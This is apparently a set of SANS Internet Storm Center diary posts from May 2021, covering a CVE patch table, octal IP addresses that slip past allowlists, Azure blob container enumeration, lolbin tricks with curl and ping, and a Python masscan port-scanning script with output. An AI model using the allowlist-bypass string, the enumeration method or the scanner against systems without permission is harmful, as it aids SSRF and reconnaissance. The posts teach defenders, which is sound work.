%%cve:2021-31214%%	No	No	Less Likely	Less Likely	Important	7.8	6.8
Visual Studio Code Remote Containers Extension Remote Code Execution Vulnerability
%%cve:2021-31213%%	No	No	Less Likely	Less Likely	Important	7.8	6.8
Visual Studio Remote Code Execution Vulnerability
%%cve:2021-27068%%	No	No	Less Likely	Less Likely	Important	8.8	7.7
Web Media Extensions Remote Code Execution Vulnerability
%%cve:2021-28465%%	No	No	Less Likely	Less Likely	Important	7.8	6.8
Windows CSC Service Information Disclosure Vulnerability
%%cve:2021-28479%%	No	No	Less Likely	Less Likely	Important	5.5	4.8
Windows Container Isolation FS Filter Driver Elevation of Privilege Vulnerability
%%cve:2021-31190%%	No	No	Less Likely	Less Likely	Important	7.8	6.8
Windows Container Manager Service Elevation of Privilege Vulnerability
%%cve:2021-31165%%	No	No	Less Likely	Less Likely	Important	7.8	6.8
%%cve:2021-31167%%	No	No	Less Likely	Less Likely	Important	7.8	6.8
%%cve:2021-31168%%	No	No	Less Likely	Less Likely	Important	7.8	6.8
%%cve:2021-31169%%	No	No	Less Likely	Less Likely	Important	7.8	6.8
%%cve:2021-31208%%	No	No	Less Likely	Less Likely	Important	7.8	6.8
Windows Desktop Bridge Denial of Service Vulnerability
%%cve:2021-31185%%	No	No	Less Likely	Less Likely	Important	5.5	4.8
Windows Graphics Component Elevation of Privilege Vulnerability
%%cve:2021-31170%%	No	No	More Likely	More Likely	Important	7.8	6.8
%%cve:2021-31188%%	No	No	More Likely	More Likely	Important	7.8	6.8
Windows Media Foundation Core Remote Code Execution Vulnerability
%%cve:2021-31192%%	No	No	Less Likely	Less Likely	Important	7.3	6.4
Windows Projected File System FS Filter Driver Information Disclosure Vulnerability
%%cve:2021-31191%%	No	No	Less Likely	Less Likely	Important	5.5	4.8
Windows Remote Desktop Protocol (RDP) Information Disclosure Vulnerability
%%cve:2021-31186%%	No	No	Less Likely	Less Likely	Important	7.4	6.4
Windows SMB Client Security Feature Bypass Vulnerability
%%cve:2021-31205%%	No	No	Less Likely	Less Likely	Important	4.3	3.8
Windows SSDP Service Elevation of Privilege Vulnerability
%%cve:2021-31193%%	No	No	Less Likely	Less Likely	Important	7.8	6.8
Windows WalletService Elevation of Privilege Vulnerability
%%cve:2021-31187%%	No	No	Less Likely	Less Likely	Important	7.8	6.8
Windows Wireless Networking Information Disclosure Vulnerability
%%cve:2020-24587%%	No	No	Less Likely	Less Likely	Important	6.5	5.7
Windows Wireless Networking Spoofing Vulnerability
%%cve:2020-24588%%	No	No	Less Likely	Less Likely	Important	6.5	5.7
%%cve:2020-26144%%	No	No	Less Likely	Less Likely	Important	6.5	5.7

--
Renato Marinho
Morphus Labs| LinkedIn|Twitter

Recently, a number of libraries suffered from a very similar security flaw: IP addresses expressed in octal were not correctly interpreted. The result was that an attacker was able to bypass input validation rules that restricted IP addresses to specific subnets. 

The vulnerability was documented in (this list is unlikely to be complete):

• Node.js netmask package [1]
• Perl (various packages) [2]
• Python stdlib ipaddress module [3]

All of these vulnerabilities were caused by a similar problem: These libraries attempted to parse IP addresses as a string. Later, standard-based "socket" libraries were used to establish the actual connection. The socket libraries have their own "inet_aton" function to convert an IP address string to a long unsigned integer.

It isn't an accident that security researchers started to look at these libraries right now. More and more of our applications have surrendered data to cloud services and implement APIs to access the data. Server-Side Request Forgery (SSRF) is becoming more of an issue as a result. And to restrict which IP address a particular application may connect to, we often use the libraries above.

As a simple test string, use "010.010.010.010". The leading "0" indicates that the address is octal. In "dotted decimal," the address translates to Google's name server 8.8.8.8.

So if you have to validate an IP address: How to do it? First of all: Try to stick to one of the (hopefully now fixed) standard libraries. But in general, it can be helpful to stick to the same library for input validation and to establish the connection. This way, the IP address is not interpreted differently. There is also an argument to be made to just not allow octal. I leave that decision up to you. Standards do allow that notation.

For example, most languages under the hood rely on the C "Sockets" library to establish connections [4]. This library also includes functions to convert IP addresses expressed as a string into an unsigned 32-bit integer (inet_aton) and back (inet_ntoa)  [5]. Take a look if your language is implementing these functions.  Part of the problem of the node.js vulnerability was that node.js implemented its own "ip2long" function. 

So how do you verify if an IP address is inside a subnet? Well, there is a reason netmasks are called netmasks: They are bitmasks. Bitmasking is a very efficient and simple way to verify IP addresses.

First of all: Is this IP address a valid IPv4 address?

My favorite "trick" is to convert the address to an integer with inet_aton. Next, convert it back to a string with inet_ntoa. If the string didn't change: You got a valid address. This will work nicely if you only allow dotted decimal notation. If not: just convert the string with inet_aton and keep it an integer. Not all languages may use the Sockets library for "inet_aton." Some may use their own (buggy?) implementation. So best to check quickly:

010.010.010.010 = 8.8.8.8 = 134744072 .

If you get 168430090, then you got it wrong (that would be 10.10.10.10). MySQL/MariaDB, for example, will get you the wrong answer:

MariaDB [(none)]> select inet_aton('10.10.10.10')-inet_aton('010.010.010.010');
+-------------------------------------------------------+
| inet_aton('10.10.10.10')-inet_aton('010.010.010.010') |
+-------------------------------------------------------+
|                                                     0 |
+-------------------------------------------------------+

Output encoding matters for proper input validation!

So now, how do we verify if IP address "A" is in subnet B/Z ?

"z" is the number of bits that need to be the same. So let's create a mask:

mask = 2^32-2^(32-Z)

next, let's do a bitwise "AND" before comparing the result:

If ( A & mask == B & mask ) {
    IP Address A is in B/Z
} 

So in short:

1. Try to use the same library to validate the IP address and to establish connections. That is probably the easiest way to avoid issues. Sadly, modern languages add additional layers, and it isn't always clear what happens in the background. 
2. Test! inet_aton('010.010.010.010') != inet_aton('10.10.10.10').
3. IPs are long integers, not strings.

So why do I sometimes see IP addresses like "010.123.123.123" on isc.sans.edu?

Remember, we started collecting data 20 years ago. I have learned since :) But some of my early sins still haunt me. Over the last few years, we moved to store the IP addresses as 32-bit unsigned integers, but "back in the day," we used 15 digit strings and zero-padded them for easy sorting... sorry. should be mostly gone by now and if you find a case where this is still happening, let me know.

What about IPv6?

That will be a different diary :)

What about hex notation?

There are a number of additional formats that can be used for IP addresses. For a complete collection of different representations of IP addresses [6]. Test them. Let me know what you find :) .

 

[1] https://nvd.nist.gov/vuln/detail/CVE-2021-29418
[2] https://blog.urth.org/2021/03/29/security-issues-in-perl-ip-address-distros/
[3] https://nvd.nist.gov/vuln/detail/CVE-2021-29921
[4] https://www.gnu.org/software/libc/manual/html_node/Sockets.html
[5] https://www.gnu.org/software/libc/manual/html_node/Host-Address-Functions.html
[6] https://www.hacksparrow.com/networking/many-faces-of-ip-address.html

---
Johannes B. Ullrich, Ph.D. , Dean of Research, SANS.edu
Twitter|

Shodan[1] is one of the most familiar site for research on what is on the internet. In Oct 2020 I did a diary on Censys [2][3], another site collecting similar information like Shodan. The next two sites are regularly scanning the internet for data which isn't shared with the security community at large.

Net Systems Research [4] probe the internet for research, but none of the data is accesible or published on the site. This is part of the message About Us: "Net Systems Research was founded in 2015 by a group of security data researchers who wanted to utilize a global view of the internet to study these difficult and emerging internet security challenges and understand the resulting implications."

Security IPIP [5] has no information beside a banner: "Our company engaged in the researching and data collecting of IP location, internet infrastructure and network security, we need to detect the internet (Ping/ Traceoute Mainly); For network security research, we need to obtain the IP location Banner and fingerprint information, we detecting the common port openly or not by ZMap, and collecting opened Banner data by our own code. Any questions please do not hesitate to contact with us: frk@ipip.net."

Over the past 3 years, my honeypot has logged information at various point in times from these 4 different research organizations. Here are some typical logs and their top 10 IPs. Shodan uses IP range 71.6.128.0-71.6.255.255 to run its scans but unlike other scanners, it doesn't include a banner in the captured logs.

Activity first noticed 4 June 2018. This is a sample log:

20210507-171447: 192.168.25.9:80-71.6.158.166:34476 data
GET / HTTP/1.1
Accept-Encoding: identity
Host: xxxxxx.xxx.ca
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36

Activity first noticed 19 Aug 2020. This is a sample log:

20210506-011443: 192.168.25.9:80-162.142.125.38:46726 data
GET / HTTP/1.1
Host: 70.55.XX.XXX:8080
User-Agent: Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)
Accept: */*
Accept-Encoding: gzip

Activity first noticed 15 Feb 2019. This is a sample log:

20210506-013155: 192.168.25.9:8443-92.118.160.5:47195 data
GET / HTTP/1.1
Host: 70.55.XX.XXX:8443
User-Agent: NetSystemsResearch studies the availability of various services across the internet. Our website is netsystemsresearch.com

Activity first noticed 14 Oct 2018 data. This is a sample log:

20210506-082116: 192.168.25.9:81-172.104.67.101:42966
GET / HTTP/1.1
Host: 70.55.XX.XXX:81
User-Agent: HTTP Banner Detection (https://security.ipip.net)
Connection: close

Since the data is already out there, why not use Shodan or Censys to explore what services a home router is sharing to the internet. Here is an example of list of services recorded and audited by Shodan which also includes SSL certificate information, banner version, etc.

 

[1] https://www.shodan.io
[2] https://censys.io/ipv4
[3] https://isc.sans.edu/forums/diary/An+Alternative+to+Shodan+Censys+with+UserAgent+CensysInspect11/26718
[4] http://www.netsystemsresearch.com
[5] https://security.ipip.net/
[6] https://isc.sans.edu/ipinfo.html?ip=71.6.158.166 (Shodan RESEARCHER: THIS IP IS USED FOR INTERNET WIDE RESEARCH SCANS)

-----------
Guy Bruneau IPSS Inc.
My Handler Page
Twitter: GuyBruneau
gbruneau at isc dot sans dot edu

A couple months ago, we already covered the topic of exposed Azure Blob Storage in two separate ISC diaries, "Exposed Blob Storage in Azure" and "Preventing Exposed Blob Storage in Azure". The information therein is still relevant and valid, so if you are using Azure Storage, and haven't read these two diaries yet, please do.

There is no doubt that having an Azure Storage Container that is shared publicly at level "Container" is usually a bad idea, because everyone who knows the Container name can then trivially enumerate the contents, by simply tucking a /?comp=list&restype=container onto the URL.

But the container names themselves cannot be enumerated quite as easily, so some users of Azure Storage seem to feel safe-ish behind this layer of obscurity. But recently, we noticed a significant uptick in attempts to blindly enumerate existing storage containers. You can think of it as a dictionary attack of sorts, because the log files show the bad guys sequentially probing

storageaccount.blob.core.windows.net/backup
storageaccount.blob.core.windows.net/backups
storageaccount.blob.core.windows.net/test
storageaccount.blob.core.windows.net/data
[...]
etc, you get the drift.

The question is, how does this work? How do the attackers even distinguish between a Container that doesn't exist at all, and one that does exist, but has access restrictions set to "Blob"?  Well, here is how:

See it? "Blob not found" versus "Resource not found". This tells us that the container "/files/" exists, whereas "/othercontainer/" doesn't.  We could call this an example of CWE-209 https://cwe.mitre.org/data/definitions/209.html aka "Error Message Containing Sensitive Information".  It is similar to a lesson learned two decades ago when error messages were distinguishing between "login incorrect" and "password incorrect" and indirectly facilitated brute-force breakin attempts by allowing an attacker to more readily identify valid accounts.

As a "countermeasure", you can

1. Stop any public access by making your Storage Account "private". This should be the default, and is the only safe option. Refer to the two mentioned earlier diaries on how to do so, and how to implement prevention that works. If a Storage Account is set to "Private", the response will always be "Resource Not Found", irrespective of whether the attempt hits an existing container name or not.
2. If you "have" to keep something shared at Blob level, maybe consider increasing the obscurity and smoke screen. Don't call your container "backup" or "data" or the like, call it "akreiqfasvkkakdff" or some such. While this doesn't really secure your data and only kicks the can down the obscurity road, it still makes it less likely that a brute force enumeration attempt will quickly find your container.
3. Keep your eye on the new Azure Security Center alert titled "PREVIEW - Anonymous scan of public storage containers" (Azure Alerts Reference) that politely warns you whenever someone tries to enumerate containers in your storage account.

Here's an example of how this new "PREVIEW" alert looks like. Note the terms that were included in this particular enumeration attempt. If your Container shared at level "Blob" happens to be called one of these names, assume that it already has been "found".

 

 

 

I like to spot techniques used by malware developers to perform basic tasks. We know the lolbins[1] that are pre-installed tools used to perform malicious activities. Many lolbins are used, for example, to download some content from the Internet. Some tools are so powerful that they can also be used to perform unexpected tasks. I found an interesting blog article[2] describing how to use curl to copy files!

C:\Users\REM> curl file://c:\test\test.txt -o newfile.txt

Do you want another example? Some tools can be diverted from their regular use like ping.exe:

C:\Users\REM\Desktop>ping -n 5 127.0.0.1

This command will send five Echo-Request ICMP packets at an interval of one second so it will complete after approximately five seconds. Using ping.exe is not very discreet because a new process will be launched and can be spotted by a tool like Sysmon. Do you know a lot of non-tech people that use ping on their corporate computer? 

But ping.exe can be very useful for malware to detect if the computer can resolve hostnames and has Internet connectivity. Instead of using the ping command, you can use Powershell to achieve this:

Yesterday, I found a malicious PowerShell script that uses another technique that I never saw before. This time, the technique is based on a WMI query!

Conclusion: Keep in mind that attackers can use multiple techniques to perform simple tasks and defeat your detection rules and/or controls.

If you already met other techniques, please share!

[1] https://lolbas-project.github.io
[2] https://www.hexacorn.com/blog/2021/05/02/curo-bin/

Xavier Mertens (@xme)
Senior ISC Handler - Freelance Cyber Security Consultant
PGP Key

Introduction

Today's diary is a forensic contest for May 2021 based on a packet capture (pcap) with Windows-based infection traffic.  Like last month, this month's prize is a Raspberry Pi.  Rules for the contest follow:

• Only one submission per person.
• The first person to submit the correct answers will win the Raspberry Pi.
• Submissions will be made using the form on our contact page at: https://isc.sans.edu/contact.html
• Use May 2021 Forensic Contest for the Subject: line.
• Provide the following information:
  • IP address of the infected Windows computer.
  • Host name of the infected Windows computer.
  • User account name on the infected Windows computer.
  • Date and time the infection activity began in UTC (the GMT or Zulu timezone).
  • The family of malware involved.

Material for our May 2021 forensic contest is located here.  The referenced page links to a zip archive with a pcap of network traffic from the infected Windows host.  I always recommend people review pcaps of malware in a non-Windows environment, if possible.

The source of this infection was a malicious email.  Fortunately, an email provider's spam filters usually catch the vast majority of malware before it hits someone's inbox.  Unfortunately, due to the vast amount of spam, some malicious emails make it through to their intended victims.

Shown above:  A visual representation of email spam filtering on a daily basis.

Requirements

Analysis of the infection traffic requires Wireshark or some other pcap analysis tool.  Wireshark is my tool of choice to review pcaps of infection traffic.  However, default settings for Wireshark are not optimized for web-based malware traffic.  That's why I encourage people to customize Wireshark after installing it.  To help, I've written a series of tutorials.  The ones most helpful for this quiz are:

• Wireshark Tutorial: Changing Your Column Display
• Wireshark Tutorial: Identifying Hosts and Users
• Wireshark Tutorial: Display Filter Expressions
• Using Wireshark - Exporting Objects from a Pcap

I always recommend participants review these pcaps in a non-Windows environment like BSD, Linux, or macOS.  Why?  Because this pcap contains traffic with Windows-based malware.  If you're using a Windows host to review such pcaps, your antivirus (or Windows Defender) may delete or alter the pcap.  Worst case?  If you extract malware from a pcap and accidentally run it, you might infect your Windows computer.

Active Directory (AD) Environment

The infected Windows host is part of an AD environment, so the pcap contains information about the Windows user account. The user account is formatted as firstname.lastname.  The AD environment characteristics are:

• LAN segment range: 172.17.4.0/24 (172.17.4.0 through 172.17.4.255)
• Domain: nutmeg-station.com
• Domain Controller: 172.17.4.4 - NutmegCrazy-DC
• LAN segment gateway: 172.17.4.1
• LAN segment broadcast address: 172.17.4.255

Final Words

Again, the zip archive with a pcap of the infection traffic is available here.  The winner of today's contest and analysis of the infection traffic will be posted in an upcoming ISC diary two weeks from today on Wednesday May 19th.

---

Brad Duncan
brad [at] malware-traffic-analysis.net

Those who know me are aware that I am a recovering shell programmer.  I have 35+ years of various shell scripts involving complicated code pipelines with grep, cut, sort, uniq, awk, input files, output files, redirects, pipes etc...cobbled together to get jobs done. None of it is elegant and little of it could be called pretty. The last couple of years I have been trying to ramp up on Python and am increasingly finding that these complicated shell code scripts can be elegantly implemented in Python. The resulting code is way easier to read and way more supportable.

A simple example of this is the various scripts I have around as simple port scanners used to scan large swaths of IP address ranges for vulnerabilities. Since nmap is too slow for large numbers of IPs, my tool of choice for initial scanning of swaths of IPs and ports is the very speedy masscan.  masscan will find the open ports and then typically I will write the results to a file, manipulate the masscan output file to create an input file that nmap will read and then launch nmap to do the detailed scanning on the smaller set of IPs sending that output to even more files which then need to be manipulated and analyzed to extract the information I need.

Just recently I discovered there is a Python module for both masscan and nmap.   So far I have only spent time on the masscan module.  

Suppose you needed a script which will find all the web servers (port 80, 443)  in an address range.  It took me about 5 minutes to code up scan_web.py.

#!/usr/local/bin/python3
import sys,getopt,argparse
import masscan
import pprint

def main():
   # read in the IP parameter
   parser = argparse.ArgumentParser()
   parser.add_argument('IP', help="IP address or range")
   args=parser.parse_args()
   ip=args.IP

   #scan address(es) using Masscan
   try:
      mas = masscan.PortScanner()
      mas.scan(ip, ports='80,443')
   except:
      print("Error:", sys.exc_info()[0])
      sys.exit(1)

   # output result
   pprint.pprint(mas.scan_result)

if __name__ == "__main__":
    main()

The script takes IP address(es) as an input and then scans those IPs using masscan to check if port 80 or 443 are open.

Running the script results in:

# ./scan_web.py 45.60.103.0,45.60.31.34
[2021-05-04 20:05:28,652] [DEBUG] [masscan.py 10 line] Scan parameters: "masscan -oX - 45.60.103.0,45.60.31.34 -p 80,443"
{'masscan': {'command_line': 'masscan -oX - 45.60.103.0,45.60.31.34 -p 80,443',
             'scanstats': {'downhosts': '0',
                           'elapsed': '12',
                           'timestr': '2021-05-04 20:05:41',
                           'totalhosts': '4',
                           'uphosts': '4'}},
 'scan': {'45.60.103.0': {'tcp': {80: {'endtime': '1620158730',
                                       'reason': 'syn-ack',
                                       'reason_ttl': '53',
                                       'services': [],
                                       'state': 'open'},
                                  443: {'endtime': '1620158730',
                                        'reason': 'syn-ack',
                                        'reason_ttl': '53',
                                        'services': [],
                                        'state': 'open'}}},
          '45.60.31.34': {'tcp': {80: {'endtime': '1620158730',
                                       'reason': 'syn-ack',
                                       'reason_ttl': '61',
                                       'services': [],
                                       'state': 'open'},
                                  443: {'endtime': '1620158730',
                                        'reason': 'syn-ack',
                                        'reason_ttl': '61',
                                        'services': [],
                                        'state': 'open'}}}}}

The result is a Python dictionary that can be easily be parsed and fed into python-nmap (an exercise for another day).

 

Caveat1: Never scan an IP range you don't have permission to scan.  While port scanning is not illegal in most jurisdictions it is questionable ethically to scan things you don't own or have permission to scan.

Caveat2: I am not a professional Python programmer.  My scripting gets the job done that I need it to do.  I know there are many smart people out there who can write way better code than I can. 

-- Rick Wanner MSISE - rwanner at isc dot sans dot edu - Twitter:namedeplume (Protected)

On Monday May 3rd, Apple released important updates to macOS Big Sur, iOS and iPadOS, and watchOS to resolve an issue in WebKit which when "Processing maliciously crafted web content may lead to arbitrary code execution."  Apple has indicated that this issue is being actively exploited. 

Details at https://support.apple.com/en-us/HT201222

The recommendation is to update as soon as reasonable.

-- Rick Wanner MSISE - rwanner at isc dot sans dot edu - Twitter:namedeplume (Protected)

Many SSH clients can remember SSH servers' fingerprints. This can serve as a safety mechanism: you get a warning when the server you want to connect to, has no longer the same fingerprint. And then you can decide what to do: continue with the connection, or stop and try to figure out what is going on.

This happened to me a couple of months ago. I wanted to transfer some files over SSH with FileZilla, and received a prompt that the server I usually connect to, had an unknown fingerprint. I did not go through with the connection, and started to investigate what was going on.

Long story short: I had removed SSH fingerprints cached by PuTTY in the Windows registry, and this impacted FileZilla: both use the same registry keys for their fingerprint cache.

You can see the registry keys here in FileZilla's source code:

If you do forensics on Windows machines, be aware that these registry keys are not only used by PuTTY, but also by FileZilla's fzsftp.exe module.

I have more details here if you are interested.

 

Didier Stevens
Senior handler
Microsoft MVP
blog.DidierStevens.com DidierStevensLabs.com

YARA version 4.1.0 was released.

There are no major changes. Some new string testing functions: icontains, ...

Most surprising to me was the addition of the \t escape sequence in text strings. I didn't know this wasn't supported in prior versions.

 

Didier Stevens
Senior handler
Microsoft MVP
blog.DidierStevens.com DidierStevensLabs.com